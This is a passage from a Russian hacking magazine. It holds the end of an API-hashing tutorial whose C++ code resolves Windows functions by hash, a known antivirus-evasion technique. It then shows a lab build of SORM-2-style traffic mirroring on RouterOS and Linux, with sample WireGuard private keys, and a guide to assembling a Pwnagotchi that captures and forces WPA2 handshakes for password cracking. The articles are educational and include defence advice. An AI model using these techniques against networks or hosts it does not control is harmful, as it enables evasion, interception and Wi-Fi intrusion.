if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;

IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;

PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)


(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);

PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->


AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->
AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->
AddressOfNameOrdinals);

for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {


CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase +
FunctionAddressArray[FunctionOrdinalArray[i]]);

if (dwApiNameHash == RTIME_HASHA(pFunctionName)) {
return (FARPROC)pFunctionAddress;
}
}
return NULL;
}

int main() {
CTIME_DLLHASHA(USER32); // Фактически на этом месте появляется
constexpr auto USER32_FuncA = HashStringDjb2A(USER32);
CTIME_HASHA(MessageBoxA); // Фактически на этом месте появляется
constexpr auto MessageBoxA_Rotr32A = HashStringDjb2A(MessageBoxA);

if (LoadLibraryA("USER32.DLL") == NULL) {
printf("[!] LoadLibraryA Failed With Error : %d \n",
GetLastError());
return 0;
}

HMODULE hUser32Module = GetModuleHandleH(USER32_FuncA);


if (hUser32Module == NULL) {
printf("[!] Cound'nt Get Handle To User32.dll \n");
return -1;
}

fnMessageBoxA pMessageBoxA = (fnMessageBoxA)GetProcAddressH(


hUser32Module, MessageBoxA_Rotr32A);
if (pMessageBoxA == NULL) {
printf("[!] Cound'nt Find Address Of Specified Function \n");
return -1;
}
pMessageBoxA(NULL, "HI", "HI", MB_OK | MB_ICONEXCLAMATION);

return 0;
}

Работающий вариант

Вызов функции отлично отрабатывает. Хеши генерируются на лету, и нам


не требуется ничего хардкодить! Тем не менее руками каждый раз заводить
все эти функции может быть не очень удобно, поэтому рекомендую изучить
репозиторий на GitHub, где есть поддержка многих методов хеширования.

ÂÛÂÎÄÛ

API Hashing можно считать одной из самых интересных и захватывающих тех-


ник, ведь подобное жонглирование макросами требует определенных
навыков и понимания работы компилятора и самого C++ в целом. Тем
не менее я постарался простым и человеческим языком донести до тебя
основную суть и идею. Если вдруг остались вопросы, то смело пиши, раз-
беремся!
АДМИН

ДЕЛАЕМ АНАЛОГ СОРМ-2


НА LINUX И ROUTEROS

Наверняка ты уже наслышан о такой штуке,


как СОРМ. Ее ставят у российских провай-
деров, чтобы спецслужбы могли в случае
надобности заглядывать в проходящий тра-
фик. В этой статье я покажу, как самос- Caster
Network Security Expert
тоятельно развернуть аналог @wearecaster

СОРМ-2 на Linux и оборудовании MikroTik.


Не для дела, а просто ради интереса.
В процессе ты научишься приемам нас-
тройки сети, которые могут пригодиться
в работе.

Итак, СОРМ — это система технических средств для обеспечения функций


оперативно-разыскных мероприятий. СОРМ бывает трех видов:
• СОРМ-1. Предназначена для прослушки телефонных разговоров подоз-
реваемых в том или ином преступлении. Регулируется приказом Минком-
связи России от 19.11.2012 № 268.
• СОРМ-2. Используется для контроля содержимого в рамках
интернет-соединений, есть специальные устройства-зеркала и ресиверы,
куда поступает трафик, снятый как копия с клиентских сетей. Регулируется
приказом Минкомсвязи России от 16.04.2014 № 83.
• СОРМ-3. Хранит в виде структуры баз данных информацию об абонентах
телефонии, сети передачи данных, историю платежей и многое другое.
Регулируется приказом Минкомсвязи России от 29.10.2018 № 573.

В этой работе я делаю акцент на СОРМ-2, так как именно ее применяют


для контроля содержимого интернет-соединений. Я расскажу о зеркалиро-
вании трафика и о том, как строится виртуальный канал связи, а затем с прак-
тической точки зрения продемонстрирую процесс работы СОРМ-2 с сох-
ранением копии трафика из легитимной пользовательской сети.
На руках у меня нет никаких образцов СОРМ, и наше творение ни в коей
мере не претендует на замену официальному оборудованию. Наша работа
будет чисто экспериментальной, а цель — всего лишь поупражняться в нас-
тройке оборудования на занимательном примере.

Статья имеет ознакомительный характер и пред-


назначена для специалистов по информационной
безопасности и системных администраторов.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

ÀÐÕÈÒÅÊÒÓÐÀ

Вот общая схема того, что нам предстоит сделать.

• ÏÓ (ïóëüò óïðàâëåíèÿ) — приемник зеркалированного трафика,


который отправляется из клиентской сети.
• Ñúåìíèê — устройство, которое обеспечивает зеркалирование трафика.
Им может быть девайс, напрямую подключенный к пограничному маршру-
тизатору, либо сам пограничный маршрутизатор, если он поддерживает
SPAN-зеркалирование.
• Êàíàë ñâÿçè — виртуальный канал связи, внутри которого будет переда-
ваться зеркало. О безопасности зеркалируемого трафика нужно позабо-
титься особо. Плохая практика, когда зеркало идет до ПУ и при этом дан-
ные абонентов не защищены.

На самом деле структура СОРМ-2 крайне проста: пограничный маршрутиза-


тор генерирует копию легитимного трафика и отправляет его в сторону
СОРМ. Затем СОРМ будет обрабатывать полученный трафик и перенап-
равлять его в сторону ПУ. Реализация СОРМ-2 в продакшене индивидуальна:
есть случаи, где оборудование СОРМ помещают физически прямо в ЦОД,
есть случаи, где нужно передать зеркало поверх интернета, однако стоит учи-
тывать длину магистрали до приемника, чтобы избежать больших задержек.

ÇÅÐÊÀËÎ

Зеркалирование трафика — это процесс, при котором снимается копия тра-


фика с того или иного интерфейса на пограничном маршрутизаторе. Для это-
го существуют специальные протоколы, самые популярные из них — ERSPAN
и TZSP. Так как я воспользуюсь RouterOS, работать будем с поддерживаемым
там TZSP. Он мало чем отличается от ERSPAN, разве что технологиями
инкапсуляции: TZSP использует UDP, а в ERSPAN применяется GRE-инкапсу-
ляция с Proto Type 0x88BE.
TZSP (TaZmen Sniffer Protocol) транслирует зеркало поверх L3-соединений
с помощью UDP-слоя (UDP/37008). Это часть системы Packet Sniffer
в RouterOS. Протокол довольно простой, и его работа сводится к тому, что он
оборачивает исходный трафик в свои заголовки.

Заголовок TZSP при инкапсуляции

ÝÊÑÏÅÐÈÌÅÍÒÀËÜÍÀß ÑÅÒÜ

Наша лабораторная сеть будет трехуровневой, с пограничным маршрутиза-


тором RouterOS. В качестве приемника зеркалируемого трафика у нас выс-
тупит машина на Debian. Цель для зеркалирования — трафик из клиентских
подсетей 10.10.120.0/24 и 10.10.140.0/24 (VLAN 120 и VLAN 140 соответс-
твенно).
Основная концепция — зеркалировать трафик и передавать его через
безопасный канал связи для последующей обработки и хранения.

ÂÈÐÒÓÀËÜÍÛÉ ÊÀÍÀË ÑÂßÇÈ S2S

Для нас важно обеспечить безопасность передаваемой информации, пос-


кольку внутри туннеля могут быть незашифрованные данные от пользовате-
лей. Так как в моем сценарии зеркалированный трафик поступает на при-
емник поверх интернета, необходимо построить частный канал связи, внутри
которого будет передаваться зеркало. Я буду использовать концепцию S2S
(Site to Site VPN). Грубо говоря, это VPN-канал между двумя нодами —
RouterOS и Debian Linux.

WIREGUARD

В качестве протокола для S2S VPN я возьму Wireguard. Он быстрый, гибкий


и легко настраиваемый.
В рамках этой сети Wireguard-сервером выступит пограничный маршру-
тизатор на RouterOS, а клиентом будет приемник зеркала на Debian 12.
Конфигурация Wireguard-сервера выглядит следующим образом:

[admin@BORDER] /interface/wireguard> print

Flags: X - disabled; R - running

0 R name="thepossessor" mtu=1420 listen-port=51820 private-


key="mKAAOLWpp5VM133EUdGWneQR8axn9jeqozVITtqmsmA="

public-key=&quot;HEbUC3ae1r03OIT8gPtVL3xmIPPHNYCKFVDXBvPQeyk=&quot;

[admin@BORDER] /interface/wireguard>

[admin@BORDER] /ip/address> add address=10.0.0.1/24


interface=thepossessor

[admin@BORDER] /interface/wireguard/peers> print

Columns: INTERFACE, PUBLIC-KEY, ENDPOINT-PORT, ALLOWED-ADDRESS,


PERSISTENT-KEEPALIVE

# INTERFACE PUBLIC-KEY ENDPOINT-PORT


ALLOWED-ADDRESS PERSISTENT-KEEPALIVE

0 thelaw iQo3n/mi+w6gUrQim9D0FHNpXMxEL0cscMVSE6w3dCU= 0
10.0.0.2/32 25s

Wireguard-клиент:

[Interface]
PrivateKey = eN3iDA1gOL2cygLwNRkDasFOoUzTFjpdLCmK4YMEhUA=
Address = 10.0.0.2/24

[Peer]
PublicKey = HEbUC3ae1r03OIT8gPtVL3xmIPPHNYCKFVDXBvPQeyk=
Endpoint = 212.100.144.100:51820
AllowedIPs = 10.0.0.1/32
PersistentKeepalive = 25

Адресация для туннеля — 10.0.0.0/24. Целевой порт Wireguard-сервера —


UDP/51820, а PersistentKeepalive для обеих сторон равен 25 секундам.
Если с настройками все нормально, туннель между двумя хостами будет акти-
вен и можно передавать данные.

Во время настройки туннеля учитывай значение


MTU, определяющее максимальный размер
полезных данных. При некорректных значениях
MTU возможна избыточная фрагментация. Также
учитывай размеры своей инфраструктуры, так
как при зеркалировании трафика возрастает наг-
рузка на процессор и интерфейсы маршрутиза-
тора. При необходимости настраивай допол-
нительные фильтры для зеркалирования, чтобы
сзуить круг поиска и сбавить нагрузку на обо-
рудование.

PACKET SNIFFER

Это специальный инструмент внутри RouterOS, который может зеркалировать


трафик и передавать его поверх L3-соединений с помощью TZSP. Packet
Sniffer также поддерживает фильтры, по которым будет выполняться зер-
калирование:
• фильтрация по интерфейсам;
• фильтрация по протоколам;
• фильтрация по TCP/UDP-портам источника/назначения;
• фильтрация по MAC-адресам источника/назначения;
• фильтрация по IP-адресам источника/назначения, также поддерживаются
IPv4 и IPv6 вместе;
• фильтрация по VLAN;
• фильтрация по CPU;
• выбор направления трафика;
• операции OR и AND.

В контексте моей сети я укажу фильтрацию только по интерфейсам ether1


и ether2. Это интерфейсы, смотрящие в сторону внутренней сети, которая
обращается к интернету. Затем с этого интерфейса будет собираться копия
и отправляться на приемник. Направление трафика — в обе стороны (any).
Сервер назначения для TZSP настраивается в разделе Streaming. Понадо-
бится указать адрес целевого приемника и UDP-порт. Так как мы пускаем
зеркало по Wireguard-туннелю, нужно указать адрес приемника, который
находится именно на его WG-интерфейсе, а это 10.0.0.2.

[admin@BORDER] /tool/sniffer> set filter-interface=ether1,ether2 filter-


stream=yes streaming-enabled=yes streaming-server=10.0.0.2

[admin@BORDER] /tool/sniffer> start

Кстати говоря, Packet Sniffer требует ручного запуска, поэтому в конце коман-
да start.

ÎÁÐÀÁÎÒÊÀ TZSP

После активации Packet Sniffer зеркалированный трафик уже полетит в сто-


рону приемника. Необходимо избавиться от избыточных заголовков TZSP
в зеркалированном трафике. Для этого есть инструмент tzsp2pcap, он прост
и удобен, компилируется без особых проблем:

git clone https://github.com/thefloweringash/


cd tzsp2pcap
~/tzsp2pcap$ make

caster@thepossessor:~/research/tzsp2pcap$ ./tzsp2pcap -h

tzsp2pcap: receive tazmen sniffer protocol over udp and


produce pcap formatted output

Usage ./tzsp2pcap [-h] [-v] [-f] [-p PORT] [-o FILENAME] [-s SIZE] [-G
SECONDS] [-C SIZE] [-z CMD]
-h Display this message
-v Verbose (repeat to increase up to -vv)
-f Flush output after every packet
-p PORT Specify port to listen on (defaults to 37008)
-o FILENAME Write output to FILENAME (defaults to stdout)
-s SIZE Receive buffer size (defaults to 65535)
-G SECONDS Rotate file every n seconds
-C FILESIZE Rotate file when FILESIZE is reached
-z CMD Post-rotate command to execute

Заметь, никаких параметров, которые помогли бы обрабатывать поступа-


ющий трафик, у tzsp2pcap нет. Для примера я запущу tzsp2pcap, чтобы он
срезал заголовки TZSP и сохранял весь зеркалируемый трафик в формате
pcap.
С помощью %s я сделаю так, чтобы у каждого создаваемого дампа был
таймстемп Unix. Аргумент -G указывает на то, через сколько секунд будет соз-
дан второй файл pcap. Я выбрал 86 400 секунд, то есть новый дамп трафика
будет создаваться раз в сутки. Пример чисто из головы — в реальных усло-
виях может понадобиться другое значение.

caster@thepossessor:~/research/tzsp2pcap$ sudo ./tzsp2pcap -o


"dump_%s.pcap" -G 86400

Работа tzsp2pcap прерывается по нажатию Ctrl-C, все дампы трафика будут


сохранены. Вот список всех созданных дампов, каждый новый дамп соз-
давался через 10 секунд (после dump_ идет UNIXTIMESTAMP):

caster@thepossessor:~/dumps$ ls -l
total 12
-rw------- 1 caster caster 880 Sep 19 13:04 dump_1695117866.pcap
-rw------- 1 caster caster 2970 Sep 19 13:04 dump_1695117876.pcap
-rw------- 1 caster caster 366 Sep 19 13:04 dump_1695117886.pcap

Обработанный трафик без TZSP-заголовков

Таким образом мы получаем полную копию трафика из внутренней сети пог-


раничного маршрутизатора, а также избавляемся от избыточных TZSP-
заголовков. Вот как выглядел бы клиентский трафик без обработки.

Клиентский трафик без срезания TZSP-заголовков

Так можно проводить зеркалирование трафика, обрабатывать заголовки


TZSP и хранить дампы локально на приемнике.

ÂÛÂÎÄÛ

Это очень творческая и экспериментальная работа. В статье я пытался рас-


смотреть СОРМ-2 через призму сетевых протоколов, так что это исклю-
чительно концепт. У СОРМ-2 есть множество реализаций, и каждая установка
в конкретной инфраструктуре — уникальный кейс. Впрочем, реальную
СОРМ-2 я не использовал и, даже если бы мне предоставили доступ, вряд ли
смог бы написать об этом статью.
GEEK

СОБИРАЕМ
ХАКЕРСКИЙ ДЕВАЙС
С ИСКУССТВЕННЫМ
ИНТЕЛЛЕКТОМ

Наверняка читатели «Хакера» хотя бы


однажды задавались вопросом: можно ли
самостоятельно собрать недорогое
устройство, которое будет что-нибудь взла-
мывать по нажатию одной кнопки? Или вов- Валентин Холмогоров
Ведущий редактор
се без кнопки, само, автоматически? Мож- valentin@holmogorov.ru

но! Встречайте Pwnagotchi — самодельный


хакерский девайс для взлома беспровод-
ных сетей, работающий на основе искусс-
твенного интеллекта. Да еще и с цифровым
питомцем внутри!

Глядя на маленькую конструкцию с дисплеем, на котором виртуальный


питомец корчит забавные рожицы, невозможно отделаться от ощущения, что
Pwnagotchi чем-то похож на Flipper Zero. Определенное родство этих про-
ектов действительно прослеживается: в интервью «Хакеру» создатель «Флип-
пера» Павел Жовнер упоминал о том, что, придумывая свое устройство, он
вдохновлялся Pwnagotchi. «Тамагочи для хакеров» (название Pwnagotchi
представляет собой гибрид жаргонного словечка Pwn и названия популярной
игрушки от компании Bandai) действительно появился на свет раньше: первая
версия этого девайса была анонсирована в октябре 2019 года, а Flipper Zero
зашел на Kiсkstarter в июле 2020-го.
Наконец, эти устройства действительно разные. «Флиппер» — это «швей-
царский нож» хакера или пентестера, благодаря дополнительным модулям
и приложениям он позволяет использовать широкий набор разнообразных
инструментов. С одним важным ограничением: в нем есть почти всё, кроме
средств для взлома Wi-Fi. Чтобы получить такую возможность, пользователь
«Флиппера» должен приобрести отдельный модуль, в то время
как Pwnagotchi, наоборот, создан для решения одной-единственной прак-
тической задачи — взлома Wi-Fi. Есть и еще одно отличие: для взаимодей-
ствия с Flipper Zero используется целых две кнопки, тогда как Pwnagotchi
вообще лишен каких-либо органов управления. Достаточно включить
питание… и он просто работает. Кстати, а как именно?

ÊÀÊ ÐÀÁÎÒÀÅÒ PWNAGOTCHI?

Когда твой телефон, ноутбук или другой девайс устанавливает беспроводное


соединение с точкой доступа по протоколу WPA2, они обмениваются четырь-
мя специальными пакетами данных, позволяющими наладить между устрой-
ствами безопасный канал связи. Этот процесс называется четырехступен-
чатым рукопожатием. Во время рукопожатия по беспроводной сети переда-
ются сообщения EAPOL (extensible authentication protocol over LAN). Во вто-
ром пакете (EAPOL M2) клиент сообщает точке доступа, что ему известен
ключ PSK. В ответном сообщении (EAPOL M3) точка доступа передает
информацию о том, что ключ валиден. Если подтверждения не приходит,
устройство, вероятнее всего, попыталось выполнить подключение с неп-
равильным паролем.
Pwnagotchi перехватывает и сохраняет данные из подтвержденных пакетов
M2. Впоследствии пользователь устройства может восстановить пароль бес-
проводной сети из хеша методом перебора по словарю. Для этого существу-
ют специальные программы, например hashcat, или онлайновые сервисы
вроде Onlinehashcrack.
Для сбора хешей Pwnagotchi использует утилиту Bettercap, хорошо зна-
комую всем, кто имел дело с Kali Linux. Это специальный инструмент
для перехвата трафика в беспроводных сетях и проведения MITM-атак.
Pwnagotchi сканирует эфир и в момент подключения клиентских устройств
к точке доступа захватывает хендшейк, а затем записывает полученные дан-
ные на SD-карту в виде файлов PCAP для последующего анализа. «Рукопо-
жатия» происходят регулярно, например когда в зоне действия сети появ-
ляются владельцы подключавшихся раньше к этой точке доступа мобильных
телефонов или при включении беспроводных принтеров. Поскольку такая
атака полностью пассивна, выявить ее очень сложно — Pwnagotchi действует
бесшумно и незаметно.
Однако устройство может «форсировать» сбор хендшейков, задействовав
более агрессивные методы, чем простое сканирование эфира. Первый —
деаутентификация: Pwnagotchi отправляет от имени клиента и точки доступа
всем подключенным к сети устройствам специальные пакеты, разрывающие
соединение. Потерявшие связь клиенты возобновляют прерванное подклю-
чение, а Pwnagotchi перехватывает передаваемые ими хеши паролей.
Второй метод — это отправка точке доступа специальных пакетов EAPOL
с целью спровоцировать утечку PMKID. В этом случае перехват хендшейка
и вовсе не требуется: PMKID передается в первом пакете четырехступен-
чатого рукопожатия (М1) еще до этапа аутентификации с использованием
пароля. Эта функция используется роутерами в некоторых корпоративных
сетях для переключения между точками доступа с идентичными именами,
но далеко не все устройства подвержены такой уязвимости.
В своей работе Pwnagotchi использует искусственный интеллект, а если
говорить точнее, AI-модель под названием Actor Advantage Critic (A2C).
В рамках модели A2C алгоритм оценивает текущее состояние устройства
и выдает рекомендации для его дальнейшего поведения с целью получить
наилучший результат, то есть создает логические цепочки «состояние — дей-
ствие — вознаграждение». Таким образом, Pwnagotchi «учится» взламывать
беспроводные сети, что называется, «на ходу»: чем больше успешных
попыток перехвата хешей совершит девайс, тем быстрее он станет действо-
вать в будущем, выбирая в каждом конкретном случае наиболее выгодную
тактику.
Что ж, как работает Pwnagotchi, мы в общих чертах разобрались, теперь
давай посмотрим, как эта игрушка устроена.

ÓÑÒÐÎÉÑÒÂÎ PWNAGOTCHI

Конструкция Pwnagotchi очень проста: все компоненты можно купить


на AliExpress, причем стоят они относительно недорого.

Конструктивные элементы Pwnagotchi

В основе устройства лежит одноплатный компьютер Raspberry Pi Zero WН —


причем выбирать следует именно модификацию WН, поскольку такое устрой-
ство оборудовано беспроводным модулем Wi-Fi и Bluetooth и на нем уже рас-
паян интерфейсный разъем, к которому подключается дисплей. Я покупал
свой одноплатник у продавца по имени adrol, но магазинов, торгующих
подобными девайсами, на «Али» множество.

Если ты читаешь эту статью в далеком и прек-


расном будущем, ссылки на конкретные стра-
ницы с товарами на сайте AliExpress могут уже
не работать. Не отчаивайся: нужные запчасти
без труда находятся поиском.

Raspberry Pi Zero WН

В качестве дисплея лучше всего подойдет модуль для RPi0 на электронных


чернилах. Если верить официальной странице проекта, Pwnagotchi под-
держивает «из коробки» экраны Waveshare V2, но сегодня эта модель (как
и V3) уже считается устаревшей, и ее производство прекращено, поэтому
найти в продаже такой экран не так-то просто. Я купил дисплей Waveshare
диагональю 2,13″. Эта модель имеет версию V4, поэтому с ее настройкой
у меня возникли некоторые проблемы — впрочем, их удалось успешно пре-
одолеть.

Дисплейный модуль

Чтобы Pwnagotchi работал автономно, можно использовать любой компак-


тный повербанк со шнуром Micro-USB, но лучше купить специальный акку-
муляторный модуль питания для Raspberry Pi Zero, например той же компании
Waveshare. Он подключается к одноплатному компьютеру снизу с помощью
контактов-пинов, благодаря чему собранное изделие выглядит опрятно,
без торчащих сбоку проводов. Питание подается на одноплатник с помощью
переключателя, а аккумулятор заряжается через разъем Micro-USB, смон-
тированный на модуле питания.

Модуль питания. Транспортная компания уронила на него бегемота,


поэтому разъемы слегка погнуты

Наконец, тебе понадобится карта памяти формата MicroSD емкостью


не менее 32 Гбайт. В принципе, подойдет любая стоимостью около доллара.

ÑÁÎÐÊÀ È ÍÀÑÒÐÎÉÊÀ

Думаю, сборку Pwnagotchi осилит даже среднестатистический посетитель


старшей группы детского сада. Подключаем аккумуляторную батарею к соот-
ветствующему разъему на плате модуля питания, устанавливаем в отверстия
по краям платы резьбовые стойки и прикручиваем сверху Raspberry Pi Zero
WН — весь крепеж входит в комплект поставки. Важно следить, чтобы пины
платы с аккумулятором точно совпали с контактами на нижней стороне
одноплатника. Теперь плотно вставляем дисплейный модуль сверху
в интерфейсный разъем Raspberry Pi. Все, сборка завершена, можно пить пи-
во смузи. Кое-кто распечатывает на 3D-принтере изящные корпуса для сво-
его устройства (готовые STL-модели можно найти в интернете), но мы обой-
демся без подобных излишеств.

Собранное устройство выглядит примерно так

Если теперь мы подадим питание на одноплатный компьютер, ничего не про-


изойдет: Raspberry Pi Zero работает только тогда, когда в соответствующий
разъем вставлена карта памяти с операционной системой. Соответственно,
эту систему нужно на карту записать.
В качестве ОС Pwnagotchi использует модифицированный дистрибутив
Raspbian с целым набором дополнительных модулей, включая Bettercap
и питоновские библиотеки, которые обеспечивают работу алгоритмов само-
обучения. Инструкция на официальном сайте проекта предлагает скачать
прошивку с GitHub, но, если ты, как и я, купил дисплей Waveshare V4, офи-
циальная прошивка откажется работать, поскольку поддержка этого типа
экранов в ней напрочь отсутствует. Помучавшись с этой проблемой пример-
но полдня, я нашел модифицированную прошивку, которая нормально под-
держивает Waveshare V4, — ее я и установил на свой Pwnagotchi.
Файл прошивки удобнее всего записать на SD-карту при помощи прог-
раммы balenaEtcher или утилитой dd, если умеешь ей правильно пользовать-
ся. В результате на карте появится два раздела: boot, содержащий загрузоч-
ные файлы и файлы с настройками, и раздел с операционной системой.
Теперь необходимо изменить базовые настройки устройства. Не извлекая
карту памяти из компьютера, открой в проводнике раздел boot и создай
в нем текстовый файл config.toml примерно следующего содержания:

config.toml
main.name = "PwnagotchiName"
main.lang = "en"
main.whitelist = [
"MyWi-Fi_1",
"MyWi-Fi_2"
]

main.plugins.grid.enabled = true
main.plugins.grid.report = true
main.plugins.grid.exclude = [
"MyWi-Fi_1",
"MyWi-Fi_2"
]

ui.display.enabled = true
ui.display.type = "waveshare_3"
ui.display.color = "black"

Вместо PwnagotchiName укажи произвольное имя своего устройства, а в раз-


делах main.whitelist и main.plugins.grid.exclude перечисли SSID бес-
проводных сетей или MAC-адреса устройств, которые Pwnagotchi должен
исключить из сканирования и хендшейки которых не будут перехватываться.
Эти значения вводятся в кавычках и через запятую. В списке может присутс-
твовать, например, твоя домашняя беспроводная сеть.
Теперь вставь SD-карту в разъем Raspberry Pi Zero, но включать
Pwnagotchi пока еще рано. Одноплатник имеет два порта Micro-USB: один —
исключительно для питания, второй — для питания и передачи данных. Вот
через него-то и нужно подключить Pwnagotchi к компьютеру с использовани-
ем кабеля. Скорее всего, девайс определится как устройство с последова-
тельным интерфейсом USB (Com3) — это значит, что Windows не сумела пра-
вильно подобрать драйверы. Скачай драйвер Ethernet RNDIS и установи его
с использованием диспетчера устройств.

USB Ethernet/RNDIS Gadget

Если ты все сделал правильно, в системе появится новый сетевой адаптер


USB Ethernet/RNDIS Gadget. Открой в Windows свойства подключения этого
адаптера и укажи вручную IP-адрес 10.0.0.1, маску подсети 255.255.255.0,
шлюз 10.0.0.1 и адрес сервера DNS 8.8.8.8. Сохрани внесенные настрой-
ки — теперь при необходимости ты сможешь подключаться к Pwnagotchi
по протоколу SSH при помощи любого подходящего приложения, например
PuTTY.

ÓÐÀ, ÐÀÁÎÒÀÅÒ!

На этом настройка Pwnagotchi закончена, можно включить питание устрой-


ства и наслаждаться полетом развлекаться. Загрузка девайса занимает 15–
20 секунд, после чего на экране появится имя твоего виртуального питомца
и его забавная рожица.

Pwnagotchi в действии

Рожицы, к слову, Pwnagotchi умеет строить разные — их внешний вид и зна-


чения представлены на сайте проекта. Помимо мордашек, устройство отоб-
ражает текущий статус (он показывает, чем Pwnagotchi занят в настоящий
момент), количество перехваченных пакетов, SSID сети, в которой был перех-
вачен последний пакет, и другую сопутствующую информацию.
Еще Pwnagotchi выведет на дисплей соответствующее сообщение, если поб-
лизости обнаружится другой владелец Pwnagotchi.

Pwnagotchi умеет строить рожицы

В терминологии создателей этого забавного девайса Pwnagotchi «питается»


пакетами беспроводных сетей. Если виртуальный питомец сообщает хозяину,
что он голоден, его нужно незамедлительно покормить — то есть отнести
туда, где есть множество доступных для сканирования и взлома беспровод-
ных сетей. То же самое касается настроения питомца: если ему скучно,
единственный способ развлечь Pwnagotchi — скормить ему несколько
EAPOL-пакетов.
Pwnagotchi по умолчанию работает в автоматическом режиме и не требует
вмешательства пользователя. Вместе с тем имеется возможность кастомиза-
ции его прошивки: при желании можно изменить язык сообщений, добавить
новые рожицы и статусы, подключить дополнительные плагины, расширя-
ющие возможности устройства, — все инструкции имеются на сайте раз-
работчиков.
Конечно, эффективность использования Pwnagotchi напрямую зависит
от того, насколько сложный пароль был установлен в сети, рукопожатия
которой удалось перехватить. Если этот пароль соответствует обычным пра-
вилам безопасности, для его восстановления тебе, скорее всего, придется
купить подержанную майнинговую ферму. А вот если в сети использовался
простой словарный пароль, тебе повезло: его подбор методом брутфорса
займет несколько часов.

ÊÀÊ ÇÀÙÈÒÈÒÜÑß

Думаю, наши читатели прекрасно знают, чем чревато несанкционированное


подключение злоумышленников к беспроводной сети: они получат доступ
к общим ресурсам и конфиденциальным файлам, смогут перехватывать тра-
фик и обретут возможность использовать чужой интернет-канал.
Как защититься от атак с использованием этого устройства, особенно с уче-
том того, что Pwnagotchi действует незаметно? Обезопасить себя от пас-
сивного перехвата пакетов непросто, зато можно принять меры на случай,
если злоумышленник все-таки восстановит из хеша ключ беспроводной сети.
Используй надежный пароль для Wi-Fi и следи за подключенными к точке
доступа клиентами. Если в сети появилось новое подозрительное устройство,
это повод изменить пароль. Ну а лучшая защита — настроить роутер таким
образом, чтобы к нему могли подключаться только устройства с заранее раз-
решенными MAC-адресами из белого списка.
Кому как, а мне Pwnagotchi показался забавным и интересным девайсом,
с помощью которого можно тестировать безопасность беспроводных сетей,
просто прогуливаясь рядом с офисом. Безусловно, Pwnagotchi не сравнится
с Flipper Zero по набору доступных функций, но на сумму, которую просят
за Flipper, можно завести целый зоопарк Pwnagotchi. И еще останется нем-
ного денег на пряники.
«Хакеру» нужны новые авторы, и ты можешь стать одним
из них! Если тебе интересно то, о чем мы пишем, и есть
желание исследовать эти темы вместе с нами, то не упусти
возможность вступить в ряды наших авторов и получать
за это все, что им причитается.

• Àâòîðû ïîëó÷àþò äåíåæíîå âîçíàãðàæäåíèå. Размер зависит


от сложности и уникальности темы и объема проделанной работы (но
не от объема текста).
• Íàøè àâòîðû ÷èòàþò «Õàêåð» áåñïëàòíî: каждая опубликованная
статья приносит месяц подписки и значительно увеличивает личную скид-
ку. Уже после третьего раза подписка станет бесплатной навсегда.

Кроме того, íàëè÷èå ïóáëèêàöèé — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü


ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû â òåìå. А еще мы планируем запуск
англоязычной версии, так что ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà
ðóáåæîì.
И конечно, ìû âñåãäà óêàçûâàåì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì
àâòîðà. На сайте ты можешь сам заполнить характеристику, поставить фото,
написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или,
наоборот, не делать этого в целях конспирации.

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ


ÑÒÀÒÜÞ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь
тему — значит, и написать сможешь. Не умеешь — поможем, будешь сом-
неваться — поддержим, накосячишь — отредактируем. Не зря у нас работает
столько редакторов! Они не только правят буквы, но и помогают с темами
и форматом и «причесывают» авторский текст, если в этом есть необ-
ходимость. И конечно, перед публикацией мы согласуем с автором все прав-
ки и вносим новые, если нужно.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?


Темы для статей — дело непростое, но и не такое сложное, как может
показаться. Стоит начать, и ты наверняка будешь придумывать темы одну
за другой!
Первым делом задай себе несколько простых вопросов:
• «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèíòåðåñîâàòü äðóãèõ?»
Частый случай: люди делают что-то потрясающее, но считают свое
занятие вполне обыденным. Если твоя мама и девушка не хотят слушать
про реверс малвари, сборку ядра Linux, проектирование микропроцес-
соров или хранение данных в ДНК, это не значит, что у тебя не найдется
благодарных читателей.
• «Áûëè ëè ó ìåíÿ â ïîñëåäíåå âðåìÿ èíòåðåñíûå ïðîåêòû?» Если
ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты
разрабатываешь что-то необычное или даже просто настроил себе
какую-то удобную штуковину, обязательно расскажи нам! Мы вместе при-
думаем, как лучше подать твои наработки.
• «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?»
Попробуй вспомнить: если ты буквально недавно рассказывал кому-то
о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то
с немалой вероятностью это может быть неплохой темой для статьи.
Или как минимум натолкнет тебя на тему.
• «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñòèëè ÷òî‑òî âàæíîå?» Если
мы о чем-то не писали, это могло быть не умышленно. Возможно, просто
никому не пришла в голову эта тема или не было человека, который
взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, под-
кинуть нам идею все равно можно.

Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé?


1. Придумываешь актуальную тему или несколько.
2. Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем
ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких
